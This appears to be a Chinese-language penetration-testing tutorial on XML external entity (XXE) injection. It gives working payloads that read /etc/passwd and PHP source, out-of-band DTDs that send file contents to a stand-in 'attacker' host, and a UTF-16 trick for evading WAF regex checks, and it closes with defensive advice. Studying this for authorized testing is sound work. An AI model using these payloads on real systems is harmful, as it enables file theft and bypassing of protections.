跳到主要内容

XXE 任意文件读取与外带传输

XXE(XML External Entity Injection)利用 XML 解析器的 外部实体展开 能力读取本地文件或向攻击者服务器回连。核心前提是解析器启用了实体替换且允许加载外部实体。

仅限授权环境

OOB 外带会让目标服务器主动回连攻击机,只能在授权靶场或明确授权的测试中进行。


判定前提

不是所有接收 XML 的接口都会展开实体。以 PHP 为例:

解析方式是否展开实体
simplexml_load_string($xml, ..., LIBXML_NOENT)是,启用实体替换
未加 LIBXML_NOENT 标志的解析否,实体按字面处理

黑盒上先用内联实体探测:接口把实体展开后的内容回显出来,就说明解析器启用了实体替换,可以继续走读取流程。


方法 A:内联实体读取

直接在请求的 XML 中定义通用实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

&xxe; 出现在响应中的位置就是文件内容。

读 PHP 源码

PHP 源码含 <? 标签,直接读会被当成 PHP 输出破坏,用 filter 转成 base64:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">

读压缩文件

compress.zlib:// 可与 filter 组合,原地解压 .gz 文件再读取:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=compress.zlib:///var/log/app.log.gz">

方法 B:OOB 外带传输

无回显、长文件或含特殊字符时改用外带:让目标解析器带着文件内容回连攻击机。攻击机用 HTTP 托管恶意 DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker/?d=%file;'>">
%eval;

目标 XML 引入远程 DTD 并触发:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker/evil.dtd">
%remote;
]>
<root>&exfil;</root>

目标解析 %remote; 加载恶意 DTD,读取文件后拼进 URL 请求攻击机,攻击机在访问日志中取回内容。注意:OOB 只解决回显问题,不绕过文件权限,Web 进程读不了的文件换 OOB 同样读不了。


变体:参数实体 + 包装 DTD

当外部 通用实体 被拒但允许加载外部 参数实体 时,先用服务端的写能力(如 XSLT 的 exsl:document)落一个“包装 DTD”到本地——把 %file; 塞进 <!ENTITY xxe ...> 定义内部:

<!ENTITY % file SYSTEM "file:///target">
<!ENTITY % eval "<!ENTITY xxe SYSTEM 'http://attacker/?d=%file;'>">
%eval;

XML 文档再 %remote; 引入包装 DTD 并展开 &xxe;,把读取结果带出。读含 <& 字符的源码时,用 CDATA + 双引号包装 把内容包成 CDATA 段再拼接,防止特殊字符破坏 DTD 结构。


WAF 绕过:UTF-16 编码

许多 WAF 按字节做 preg_match 正则匹配。把 整个 XML 用 UTF-16LE 编码(字节间插 \x00)后提交,基于单字节的正则全部失配;多数解析器仍按 XML 声明中的编码正常解析,payload 原样生效。本地编码后原样 POST 即可。


复核要点

检查点说明
实体是否展开先用内联实体 + /etc/passwd 确认回显
回显方式有回显走内联,无回显/长文件走 OOB
PHP 源码必须过 php://filter base64,不要裸读
文件权限OOB 不能读无权限文件,失败先怀疑权限
WAF 拦截关键字被拦先试 UTF-16 编码,再看参数实体分支

防御建议

  1. 禁用 LIBXML_NOENT 这类启用实体替换的解析标志;libxml 2.9+ 默认不加载外部实体,保持默认。
  2. 显式禁止解析器加载外部实体与 DTD。
  3. 限制解析内容来源:不接受用户可控的 DOCTYPE,或改用 JSON 等无实体机制的格式。
  4. 出站方向做限制,降低 OOB 外带成功率。
  5. 对含 <!ENTITYSYSTEMfile:// 特征的请求建立告警。